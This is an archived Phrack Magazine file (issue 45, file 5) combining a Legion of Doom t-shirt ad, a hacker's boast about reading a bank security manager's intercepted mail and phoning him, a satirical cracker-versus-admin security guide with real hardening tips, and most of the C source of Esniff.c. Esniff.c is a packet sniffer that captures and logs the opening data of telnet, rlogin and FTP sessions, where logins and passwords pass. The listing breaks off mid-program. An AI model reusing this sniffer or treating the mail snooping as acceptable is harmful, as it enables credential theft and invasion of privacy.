home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack45.tx5 < prev    next >
Encoding:
Text File  |  2003-06-11  |  49.0 KB  |  1,508 lines

  1.                          ==Phrack Magazine==
  2.  
  3.               Volume Five, Issue Forty-Five, File 5 of 28
  4.  
  5.  
  6.                            //   //  /\   //   ====
  7.                           //   //  //\\ //   ====
  8.                          ==== //  //  \\/   ====
  9.  
  10.                      /\   //  // \\    //  /===   ====
  11.                     //\\ //  //   //  //   \=\   ====
  12.                    //  \\/    \\ //  //   ===/  ====
  13.  
  14.                                PART II
  15.  
  16. ------------------------------------------------------------------------------
  17.  
  18. After a complete sellout at HoHo Con 1993 in Austin, TX this past
  19. December, the official Legion of Doom t-shirts are available
  20. once again.  Join the net luminaries world-wide in owning one of
  21. these amazing shirts.  Impress members of the opposite sex, increase
  22. your IQ, annoy system administrators, get raided by the government and
  23. lose your wardrobe!
  24.  
  25. Can a t-shirt really do all this?  Of course it can!
  26.  
  27. --------------------------------------------------------------------------
  28.  
  29. "THE HACKER WAR  --  LOD vs MOD"
  30.  
  31. This t-shirt chronicles the infamous "Hacker War" between rival
  32. groups The Legion of Doom and  The Masters of Destruction.  The front
  33. of the shirt displays a flight map of the various battle-sites
  34. hit by MOD and tracked by LOD.  The back of the shirt
  35. has a detailed timeline of the key dates in the conflict, and
  36. a rather ironic quote from an MOD member.
  37.  
  38. (For a limited time, the original is back!)
  39.  
  40. "LEGION OF DOOM  --  INTERNET WORLD TOUR"
  41.  
  42. The front of this classic shirt displays "Legion of Doom Internet World
  43. Tour" as well as a sword and telephone intersecting the planet
  44. earth, skull-and-crossbones style.  The back displays the
  45. words "Hacking for Jesus" as well as a substantial list of "tour-stops"
  46. (internet sites) and a quote from Aleister Crowley.
  47.  
  48. --------------------------------------------------------------------------
  49.  
  50. All t-shirts are sized XL, and are 100% cotton.
  51.  
  52. Cost is $15.00 (US) per shirt.  International orders add $5.00 per shirt for
  53. postage.
  54.  
  55. Send checks or money orders.  Please, no credit cards, even if
  56. it's really your card.
  57.  
  58.  
  59. Name:       __________________________________________________
  60.  
  61. Address:    __________________________________________________
  62.  
  63. City, State, Zip:   __________________________________________
  64.  
  65.  
  66. I want ____ "Hacker War" shirt(s)
  67.  
  68. I want ____ "Internet World Tour" shirt(s)
  69.  
  70. Enclosed is $______ for the total cost.
  71.  
  72.  
  73. Mail to:   Chris Goggans
  74.            603 W. 13th #1A-278
  75.            Austin, TX 78701
  76.  
  77.  
  78. These T-shirts are sold only as a novelty items, and are in no way
  79. attempting to glorify computer crime.
  80.  
  81. ------------------------------------------------------------------------------
  82.  
  83. My dealing with MBNA - VaxBuster March 8, 1994
  84. ----------------------------------------------
  85.  
  86.  A friend approached me on Unphamiliar Terrorities with a pretty
  87. funny message.  It turns out that a high-up executive in MBNA sent mail to
  88. root at system with public temporary directories, where an issue of Phrack
  89. 44 was stored.  My friend was monitoring root's mail, when he came across
  90. the following message.
  91.  
  92. To: root@<censored>
  93. Message-Id:  <9401141340.aa09874@krusty.ee.udel.edu>
  94. Status: RO
  95.  
  96. Hello, The reason I am sending this message to you is an article
  97. that seems to have been on your system <censored>.  I am an Information
  98. Security Assurance manager at the largest issuer of Goldcard Mastercard
  99. and Visa's in the world "MBNA America".  The article seems to be a
  100. copy or issue of "Phrack Magazine" written by "Vaxbuster".  It
  101. describes in detail how one could defraud credit card companies.  I
  102. have talked with the CERT People in CMU to see if I could get a
  103. contact at your UNIV.  There may be an additional 21 or so of these
  104. articles that I would love to get ahold of to protect my company.
  105. Please, if you can, send me your phone number so I can talk with you
  106. in more detail.  My phone number at MBNA in Delaware is <censored>.
  107.  
  108. I can verify whatever information you may require over the phone or in
  109. writing.
  110.  
  111. Thank you for your help.
  112.  
  113. PS.  We do not have a gateway or firewall to the Internet from here so
  114. the good People at UofDE allow me to have access from there systems.
  115.  
  116. MBNA America Bank, NA.
  117. 400 Christiana Road
  118. Newark, DE 19713
  119.  
  120.      Anyways, a couple people suggested that I call, and at first I
  121. thought that was a ridiculous idea, but I figured, what the hell, it may
  122. be funny. So NightStriker and I called him at his office one day in
  123. Mid-February.  I was surprized he answered, and not a secretary,
  124. considering his position.  I asked for him, and identified myself as
  125. VaxBuster. He shocked the hell out of me, because I really didn't
  126. expect him to immediately recognize my handle.  He says, "Oh hey! how are
  127. you doing?"  I told him I'd been monitoring mail, and came across his
  128. message.  The main reason why I was calling was because he had mentioned
  129. he wanted 'more info' to protect his company.  NTS and I were more than happy
  130. to answer any of his questions - but he said that he had obtained all of the
  131. issues.  Although he said he had all of them, I highly doubt it, because he
  132. said he had like 20-some issues, and we told him there was 44.  We chatted
  133. for about 15 more minutes, just about the reasons for publishing and not
  134. publishing such an article.  He said "Some little kid is going to find this
  135. article and get his fingers burned" I could tell he was kind of pressured for
  136. time, so we kind of let it go at that, and he asked for our numbers to call us
  137. back.  Oh, when I first called him, I didn't tell him I had a friend on the
  138. line, and he asked, "Is there an echo here?" hahahaha. Pretty funny.  We
  139. told him NTS was there.  So, when he asked for our numbers, we laughed out
  140. loud.  I guess he doesn't really understand the secrecy we all so dearly
  141. cheerish.  He said, "Well, I have caller id, so I have your numbers anyways"
  142. Bahahhahahaha. Yeah, right.  We told him we were bouncing our call through
  143. a satellite in Japan.  He thought we were joking.  Guess he doesn't understand
  144. boxing huh?  Maybe we should show him some of Tabas's files. heh.  We told him
  145. we would call him back - which we haven't yet, but soon will.  By the way, he
  146. complimented me on the quality of the article and how detailed it was. :)
  147.  
  148.      Incidentally, for those of you who've lived in a cave, this is all
  149. in reference to an article of mine published in Phrack 44 called 'Safe and
  150. Easy Carding.'
  151.  
  152. And for all of you who didn't like my article - Fuck you.
  153. Greets out to all the eleets - Later.
  154.  
  155. VaxBuster '94
  156.  
  157.  
  158. ------------------------------------------------------------------------------
  159.  
  160.         A Guide to Internet Security: Becoming an Uebercracker
  161.         and Becoming an UeberAdmin to stop Uebercrackers.
  162.  
  163.  
  164. Author: Christopher Klaus <cklaus@shadow.net>
  165. Date: December 5th, 1993.
  166. Version: 1.1
  167.  
  168.   This is a paper will be broken into two parts, one showing 15 easy steps
  169. to becoming a uebercracker and the next part showing how to become a
  170. ueberadmin and how to stop a uebercracker.  A uebercracker is a term phrased
  171. by Dan Farmer to refer to some elite (cr/h)acker that is practically
  172. impossible to keep out of the networks.
  173.  
  174. Here's the steps to becoming a uebercracker.
  175.  
  176. Step 1. Relax and remain calm. Remember YOU are a Uebercracker.
  177.  
  178. Step 2. If you know a little Unix, you are way ahead of the crowd and skip
  179. past step 3.
  180.  
  181. Step 3. You may want to buy Unix manual or book to let you know what
  182. ls,cd,cat does.
  183.  
  184. Step 4. Read Usenet for the following groups: alt.irc, alt.security,
  185. comp.security.unix.  Subscribe to Phrack@well.sf.ca.us to get a background
  186. in uebercracker culture.
  187.  
  188. Step 5. Ask on alt.irc how to get and compile the latest IRC client and
  189. connect to IRC.
  190.  
  191. Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way
  192. there!)
  193.  
  194. Step 7. Now, sit on #hack and send messages to everyone in the channel
  195. saying "Hi, What's up?". Be obnoxious to anyone else that joins and asks
  196. questions like "Why cant I join #warez?"
  197.  
  198. Step 8. (Important Step) Send private messages to everyone asking for new
  199. bugs or holes. Here's a good pointer, look around your system for binary
  200. programs suid root (look in Unix manual from step 3 if confused). After
  201. finding a suid root binary, (ie. su, chfn, syslog), tell people you have a
  202. new bug in that program and you wrote a script for it.  If they ask how it
  203. works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask
  204. them to trade for their get-root scripts.
  205.  
  206. Step 9. Make them send you some scripts before you send some garbage file
  207. (ie. a big core file). Tell them it is encrypted or it was messed up and
  208. you need to upload your script again.
  209.  
  210. Step 10. Spend a week grabbing all the scripts you can. (Don't forget to be
  211. obnoxious on #hack otherwise people will look down on you and not give you
  212. anything.)
  213.  
  214. Step 11. Hopefully you will now have at least one or two scripts that get
  215. you root on most Unixes. Grab root on your local machines, read your
  216. admin's mail, or even other user's mail, even rm log files and whatever
  217. temps you. (look in Unix manual from step 3 if confused).
  218.  
  219. Step 12. A good test for true uebercrackerness is to be able to fake mail.
  220. Ask other uebercrackers how to fake mail (because they have had to pass the
  221. same test). Email your admin how "layme" he is and how you got root and how
  222. you erased his files, and have it appear coming from satan@evil.com.
  223.  
  224. Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag
  225. about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are
  226. a uebercracker.)
  227.  
  228. Step 14. Wait a few months and have all your notes, etc ready in your room
  229. for when the FBI, Secret Service, and other law enforcement agencies
  230. confiscate your equipment. Call eff.org to complain how you were innocent
  231. and how you accidently gotten someone else's account and only looked
  232. because you were curious. (Whatever else that may help, throw at them.)
  233.  
  234. Step 15. Now for the true final supreme eliteness of all uebercrackers, you
  235. go back to #hack and brag about how you were busted.  YOU are finally a
  236. true Uebercracker.
  237.  
  238.  
  239. Now the next part of the paper is top secret.  Please only pass to trusted
  240. administrators and friends and even some trusted mailing lists, Usenet
  241. groups, etc. (Make sure no one who is NOT in the inner circle of security
  242. gets this.)
  243.  
  244. This is broken down on How to Become an UeberAdmin (otherwise know as a
  245. security expert) and How to stop Uebercrackers.
  246.  
  247. Step 1. Read Unix manual ( a good idea for admins ).
  248.  
  249. Step 2. Very Important.  chmod 700 rdist; chmod 644 /etc/utmp. Install
  250. sendmail 8.6.4.  You have probably stopped 60 percent of all Uebercrackers
  251. now.  Rdist scripts is among the favorites for getting root by
  252. uebercrackers.
  253.  
  254. Step 3. Okay, maybe you want to actually secure your machine from the
  255. elite Uebercrackers who can break into any site on Internet.
  256.  
  257. Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing
  258. packets. (This only applies to advanced admins who have control of the
  259. router, but this will stop 90% of all uebercrackers from attempting your
  260. site.)
  261.  
  262. Step 5. Apply all CERT and vendor patches to all of your machines. You have
  263. just now killed 95% of all uebercrackers.
  264.  
  265. Step 6. Run a good password cracker to find open accounts and close them.
  266. Run tripwire after making sure your binaries are untouched. Run tcp_wrapper
  267. to find if a uebercracker is knocking on your machines.  Run ISS to make
  268. sure that all your machines are reasonably secure as far as remote
  269. configuration (ie. your NFS exports and anon FTP site.)
  270.  
  271. Step 7. If you have done all of the following, you will have stopped 99%
  272. of all uebercrackers. Congrats! (Remember, You are the admin.)
  273.  
  274. Step 8. Now there is one percent of uebercrackers that have gained
  275. knowledge from reading some security expert's mail (probably gained access
  276. to his mail via NFS exports or the guest account.  You know how it is, like
  277. the mechanic that always has a broken car, or the plumber that has the
  278. broken sink, the security expert usually has an open machine.)
  279.  
  280. Step 9. Here is the hard part is to try to convince these security experts
  281. that they are not so above the average citizen and that by now giving out
  282. their unknown (except for the uebercrackers) security bugs, it would be a
  283. service to Internet.  They do not have to post it on Usenet, but share
  284. among many other trusted people and hopefully fixes will come about and
  285. new pressure will be applied to vendors to come out with patches.
  286.  
  287. Step 10.  If you have gained the confidence of enough security experts,
  288. you will know be a looked up to as an elite security administrator that is
  289. able to stop most uebercrackers.  The final true test for being a ueberadmin
  290. is to compile a IRC client, go onto #hack and log all the bragging and
  291. help catch the uebercrackers. If a uebercracker does get into your system,
  292. and he has used a new method you have never seen, you can probably tell
  293. your other security admins and get half of the replies like - "That bug
  294. been known for years, there just isn't any patches for it yet. Here's my
  295. fix." and the other half of the replies will be like - "Wow.  That is very
  296. impressive. You have just moved up a big notch in my security circle."
  297. VERY IMPORTANT HERE:  If you see anyone in Usenet's security newsgroups
  298. mention anything about that security hole, Flame him for discussing it
  299. since it could bring down Internet and all Uebercrackers will now have it
  300. and the million other reasons to keep everything secret about security.
  301.  
  302.  
  303. Well, this paper has shown the finer details of security on Internet. It has
  304. shown both sides of the coin.  Three points I would like to make that would
  305. probably clean up most of the security problems on Internet are as the
  306. following:
  307.  
  308. 1.  Vendors need to make security a little higher than zero in priority.
  309. If most vendors shipped their Unixes already secure with most known bugs
  310. that have been floating around since the Internet Worm (6 years ago) fixed
  311. and patched, then most uebercrackers would be stuck as new machines get
  312. added to Internet.  (I believe Uebercracker is German for "lame copy-cat
  313. that can get root with 3 year old bugs.") An interesting note is that
  314. if you probably check the mail alias for "security@vendor.com", you will
  315. find it points to /dev/null.  Maybe with enough mail, it will overfill
  316. /dev/null.  (Look in manual if confused.)
  317.  
  318. 2.  Security experts giving up the attitude that they are above the normal
  319. Internet user and try to give out information that could lead to pressure
  320. by other admins to vendors to come out with fixes and patches.  Most
  321. security experts probably don't realize how far their information has
  322. already  spread.
  323.  
  324. 3.  And probably one of the more important points is just following the
  325. steps I have outlined for Stopping a Uebercracker.
  326.  
  327.  
  328. Resources for Security:
  329.    Many security advisories are available from anonymous ftp cert.org.
  330. Ask archie to find tcp_wrapper, security programs.  For more information
  331. about ISS (Internet Security Scanner), email cklaus@shadow.net.
  332.  
  333.  
  334. Acknowledgments:
  335.  
  336.    Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
  337. Miles, Scott Yelich, and Henri De Valois.
  338.  
  339.  
  340. Copyright:
  341.  
  342. This paper is Copyright 1993, 1994.  Please distribute to only trusted
  343. people.  If you modify, alter, disassemble, reassemble, re-engineer or have
  344. any suggestions or comments, please send them to:
  345.  
  346. cklaus@shadow.net
  347.  
  348.  
  349.  
  350. ------------------------------------------------------------------------------
  351.  
  352. /* [JOIN THE POSSE!] */
  353.  
  354. /* Esniff.c */
  355.  
  356. #include <stdio.h>
  357. #include <ctype.h>
  358. #include <string.h>
  359.  
  360. #include <sys/time.h>
  361. #include <sys/file.h>
  362. #include <sys/stropts.h>
  363. #include <sys/signal.h>
  364. #include <sys/types.h>
  365. #include <sys/socket.h>
  366. #include <sys/ioctl.h>
  367.  
  368. #include <net/if.h>
  369. #include <net/nit_if.h>
  370. #include <net/nit_buf.h>
  371. #include <net/if_arp.h>
  372.  
  373. #include <netinet/in.h>
  374. #include <netinet/if_ether.h>
  375. #include <netinet/in_systm.h>
  376. #include <netinet/ip.h>
  377. #include <netinet/udp.h>
  378. #include <netinet/ip_var.h>
  379. #include <netinet/udp_var.h>
  380. #include <netinet/in_systm.h>
  381. #include <netinet/tcp.h>
  382. #include <netinet/ip_icmp.h>
  383.  
  384. #include <netdb.h>
  385. #include <arpa/inet.h>
  386.  
  387. #define ERR stderr
  388.  
  389. char    *malloc();
  390. char    *device,
  391.         *ProgName,
  392.         *LogName;
  393. FILE    *LOG;
  394. int     debug=0;
  395.  
  396. #define NIT_DEV     "/dev/nit"
  397. #define CHUNKSIZE   4096        /* device buffer size */
  398. int     if_fd = -1;
  399. int     Packet[CHUNKSIZE+32];
  400.  
  401. void Pexit(err,msg)
  402. int err; char *msg;
  403. { perror(msg);
  404.   exit(err); }
  405.  
  406. void Zexit(err,msg)
  407. int err; char *msg;
  408. { fprintf(ERR,msg);
  409.   exit(err); }
  410.  
  411. #define IP          ((struct ip *)Packet)
  412. #define IP_OFFSET   (0x1FFF)
  413. #define SZETH       (sizeof(struct ether_header))
  414. #define IPLEN       (ntohs(ip->ip_len))
  415. #define IPHLEN      (ip->ip_hl)
  416. #define TCPOFF      (tcph->th_off)
  417. #define IPS         (ip->ip_src)
  418. #define IPD         (ip->ip_dst)
  419. #define TCPS        (tcph->th_sport)
  420. #define TCPD        (tcph->th_dport)
  421. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  422.  
  423. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  424.  
  425. #define MAXBUFLEN  (128)
  426. time_t  LastTIME = 0;
  427.  
  428. struct CREC {
  429.      struct CREC *Next,
  430.                  *Last;
  431.      time_t  Time;              /* start time */
  432.      struct in_addr SRCip,
  433.                     DSTip;
  434.      u_int   SRCport,           /* src/dst ports */
  435.              DSTport;
  436.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  437.      u_int   Length;            /* current data length */
  438.      u_int   PKcnt;             /* # pkts */
  439.      u_long  LASTseq;
  440. };
  441.  
  442. struct CREC *CLroot = NULL;
  443.  
  444. char *Symaddr(ip)
  445. register struct in_addr ip;
  446. { register struct hostent *he =
  447.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  448.  
  449.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  450. }
  451.  
  452. char *TCPflags(flgs)
  453. register u_char flgs;
  454. { static char iobuf[8];
  455. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  456.  
  457.   SFL(0,TH_FIN, 'F');
  458.   SFL(1,TH_SYN, 'S');
  459.   SFL(2,TH_RST, 'R');
  460.   SFL(3,TH_PUSH,'P');
  461.   SFL(4,TH_ACK, 'A');
  462.   SFL(5,TH_URG, 'U');
  463.   iobuf[6]=0;
  464.   return(iobuf);
  465. }
  466.  
  467. char *SERVp(port)
  468. register u_int port;
  469. { static char buf[10];
  470.   register char *p;
  471.  
  472.    switch(port) {
  473.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  474.      case IPPORT_TELNET:      p="telnet"; break;
  475.      case IPPORT_SMTP:        p="smtp"; break;
  476.      case IPPORT_FTP:         p="ftp"; break;
  477.      default: sprintf(buf,"%u",port); p=buf; break;
  478.    }
  479.    return(p);
  480. }
  481.  
  482. char *Ptm(t)
  483. register time_t *t;
  484. { register char *p = ctime(t);
  485.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  486.   return(p);
  487. }
  488.  
  489. char *NOWtm()
  490. { time_t tm;
  491.   time(&tm);
  492.   return( Ptm(&tm) );
  493. }
  494.  
  495. #define MAX(a,b) (((a)>(b))?(a):(b))
  496. #define MIN(a,b) (((a)<(b))?(a):(b))
  497.  
  498. /* add an item */
  499. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  500.   register struct CREC *CLtmp = \
  501.         (struct CREC *)malloc(sizeof(struct CREC)); \
  502.   time( &(CLtmp->Time) ); \
  503.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  504.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  505.   CLtmp->SRCport = SPORT; \
  506.   CLtmp->DSTport = DPORT; \
  507.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  508.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  509.   CLtmp->PKcnt = 1; \
  510.   CLtmp->Next = CLroot; \
  511.   CLtmp->Last = NULL; \
  512.   CLroot = CLtmp; \
  513. }
  514.  
  515. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  516. register struct in_addr Sip,Dip;
  517. register u_int SP,DP;
  518. { register struct CREC *CLr = CLroot;
  519.  
  520.   while(CLr != NULL) {
  521.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  522.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  523.             break;
  524.     CLr = CLr->Next;
  525.   }
  526.   return(CLr);
  527. }
  528.  
  529. #define ADDDATA_NODE(CL,DATA,LEN) { \
  530.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  531.  CL->Length += LEN; \
  532. }
  533.  
  534. #define PR_DATA(dp,ln) {    \
  535.   register u_char lastc=0; \
  536.   while(ln-- >0) { \
  537.      if(*dp < 32) {  \
  538.         switch(*dp) { \
  539.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  540.                         break; \
  541.             case '\r': \
  542.             case '\n': fprintf(LOG,"\n     : "); \
  543.                         break; \
  544.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  545.                         break; \
  546.         } \
  547.      } else { \
  548.         if(isprint(*dp)) fputc(*dp,LOG); \
  549.         else fprintf(LOG,"(%d)",*dp); \
  550.      } \
  551.      lastc = *dp++; \
  552.   } \
  553.   fflush(LOG); \
  554. }
  555.  
  556. void END_NODE(CLe,d,dl,msg)
  557. register struct CREC *CLe;
  558. register u_char *d;
  559. register int dl;
  560. register char *msg;
  561. {
  562.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  563.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  564.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  565.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  566.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  567.    fprintf(LOG," DATA: ");
  568.     { register u_int i = CLe->Length;
  569.       register u_char *p = CLe->Data;
  570.       PR_DATA(p,i);
  571.       PR_DATA(d,dl);
  572.     }
  573.  
  574.    fprintf(LOG,"\n-- \n");
  575.    fflush(LOG);
  576.  
  577.    if(CLe->Next != NULL)
  578.     CLe->Next->Last = CLe->Last;
  579.    if(CLe->Last != NULL)
  580.     CLe->Last->Next = CLe->Next;
  581.    else
  582.     CLroot = CLe->Next;
  583.    free(CLe);
  584. }
  585.  
  586. /* 30 mins (x 60 seconds) */
  587. #define IDLE_TIMEOUT 1800
  588. #define IDLE_NODE() { \
  589.   time_t tm; \
  590.   time(&tm); \
  591.   if(LastTIME<tm) { \
  592.      register struct CREC *CLe,*CLt = CLroot; \
  593.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  594.      while(CLe=CLt) { \
  595.        CLt=CLe->Next; \
  596.        if(CLe->Time <tm) \
  597.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  598.      } \
  599.   } \
  600. }
  601.  
  602. void filter(cp, pktlen)
  603. register char *cp;
  604. register u_int pktlen;
  605. {
  606.  register struct ip     *ip;
  607.  register struct tcphdr *tcph;
  608.  
  609.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  610.  
  611.    if(EtherType < 0x600) {
  612.      EtherType = *(u_short *)(cp + SZETH + 6);
  613.      cp+=8; pktlen-=8;
  614.    }
  615.  
  616.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  617.       return;
  618.  }
  619.  
  620.     /* ugh, gotta do an alignment :-( */
  621.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  622.  
  623.  ip = (struct ip *)Packet;
  624.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  625.     return;
  626.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  627.  
  628.  if(!( (TCPD == IPPORT_TELNET) ||
  629.        (TCPD == IPPORT_LOGINSERVER) ||
  630.        (TCPD == IPPORT_FTP)
  631.    )) return;
  632.  
  633.  { register struct CREC *CLm;
  634.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  635.    register u_char *p = (u_char *)Packet;
  636.  
  637.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  638.  
  639.  if(debug) {
  640.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  641.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  642.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  643.  }
  644.  
  645.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  646.  
  647.       CLm->PKcnt++;
  648.  
  649.       if(length>0)
  650.         if( (CLm->Length + length) < MAXBUFLEN ) {
  651.           ADDDATA_NODE( CLm, p,length);
  652.         } else {
  653.           END_NODE( CLm, p,length, "DATA LIMIT");
  654.         }
  655.  
  656.       if(TCPFL(TH_FIN|TH_RST)) {
  657.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  658.       }
  659.  
  660.    } else {
  661.  
  662.       if(TCPFL(TH_SYN)) {
  663.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  664.       }
  665.  
  666.    }
  667.  
  668.    IDLE_NODE();
  669.  
  670.  }
  671.  
  672. }
  673.  
  674. /* signal handler
  675.  */
  676. void death()
  677. { register struct CREC *CLe;
  678.  
  679.     while(CLe=CLroot)
  680.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  681.  
  682.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  683.     fflush(LOG);
  684.     if(LOG != stdout)
  685.         fclose(LOG);
  686.     exit(1);
  687. }
  688.  
  689. /* opens network interface, performs ioctls and reads from it,
  690.  * passing data to filter function
  691.  */
  692. void do_it()
  693. {
  694.     int cc;
  695.     char *buf;
  696.     u_short sp_ts_len;
  697.  
  698.     if(!(buf=malloc(CHUNKSIZE)))
  699.         Pexit(1,"Eth: malloc");
  700.  
  701. /* this /dev/nit initialization code pinched from etherfind */
  702.   {
  703.     struct strioctl si;
  704.     struct ifreq    ifr;
  705.     struct timeval  timeout;
  706.     u_int  chunksize = CHUNKSIZE;
  707.     u_long if_flags  = NI_PROMISC;
  708.  
  709.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  710.         Pexit(1,"Eth: nit open");
  711.  
  712.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  713.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  714.  
  715.     si.ic_timout = INFTIM;
  716.  
  717.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  718.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  719.  
  720.     timeout.tv_sec = 1;
  721.     timeout.tv_usec = 0;
  722.     si.ic_cmd = NIOCSTIME;
  723.     si.ic_len = sizeof(timeout);
  724.     si.ic_dp  = (char *)&timeout;
  725.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  726.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  727.  
  728.     si.ic_cmd = NIOCSCHUNK;
  729.     si.ic_len = sizeof(chunksize);
  730.     si.ic_dp  = (char *)&chunksize;
  731.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  732.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  733.  
  734.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  735.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  736.     si.ic_cmd = NIOCBIND;
  737.     si.ic_len = sizeof(ifr);
  738.     si.ic_dp  = (char *)𝔦
  739.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  740.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  741.  
  742.     si.ic_cmd = NIOCSFLAGS;
  743.     si.ic_len = sizeof(if_flags);
  744.     si.ic_dp  = (char *)&if_flags;
  745.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  746.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  747.  
  748.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  749.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  750.   }
  751.  
  752.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  753.         register char *bp = buf,
  754.                       *bufstop = (buf + cc);
  755.  
  756.         while (bp < bufstop) {
  757.             register char *cp = bp;
  758.             register struct nit_bufhdr *hdrp;
  759.  
  760.             hdrp = (struct nit_bufhdr *)cp;
  761.             cp += sizeof(struct nit_bufhdr);
  762.             bp += hdrp->nhb_totlen;
  763.             filter(cp, (u_long)hdrp->nhb_msglen);
  764.         }
  765.     }
  766.     Pexit((-1),"Eth: read");
  767. }
  768.  /* Authorize your proogie,generate your own password and uncomment here */
  769. /* #define AUTHPASSWD "EloiZgZejWyms" */
  770.  
  771. void getauth()
  772. { char *buf,*getpass(),*crypt();
  773.   char pwd[21],prmpt[81];
  774.  
  775.     strcpy(pwd,AUTHPASSWD);
  776.     sprintf(prmpt,"(%s)UP? ",ProgName);
  777.     buf=getpass(prmpt);
  778.     if(strcmp(pwd,crypt(buf,pwd)))
  779.         exit(1);
  780. }
  781.     */
  782. void main(argc, argv)
  783. int argc;
  784. char **argv;
  785. {
  786.     char   cbuf[BUFSIZ];
  787.     struct ifconf ifc;
  788.     int    s,
  789.            ac=1,
  790.            backg=0;
  791.  
  792.     ProgName=argv[0];
  793.  
  794.  /*     getauth(); */
  795.  
  796.     LOG=NULL;
  797.     device=NULL;
  798.     while((ac<argc) && (argv[ac][0] == '-')) {
  799.        register char ch = argv[ac++][1];
  800.        switch(toupper(ch)) {
  801.             case 'I': device=argv[ac++];
  802.                       break;
  803.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  804.                          Zexit(1,"Output file cant be opened\n");
  805.                       break;
  806.             case 'B': backg=1;
  807.                       break;
  808.             case 'D': debug=1;
  809.                       break;
  810.             default : fprintf(ERR,
  811.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  812.                             ProgName);
  813.                       exit(1);
  814.        }
  815.     }
  816.  
  817.     if(!device) {
  818.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  819.             Pexit(1,"Eth: socket");
  820.  
  821.         ifc.ifc_len = sizeof(cbuf);
  822.         ifc.ifc_buf = cbuf;
  823.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  824.             Pexit(1,"Eth: ioctl");
  825.  
  826.         close(s);
  827.         device = ifc.ifc_req->ifr_name;
  828.     }
  829.  
  830.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  831.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  832.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  833.  
  834.     if(!LOG)
  835.         LOG=stdout;
  836.  
  837.     signal(SIGINT, death);
  838.     signal(SIGTERM,death);
  839.     signal(SIGKILL,death);
  840.     signal(SIGQUIT,death);
  841.  
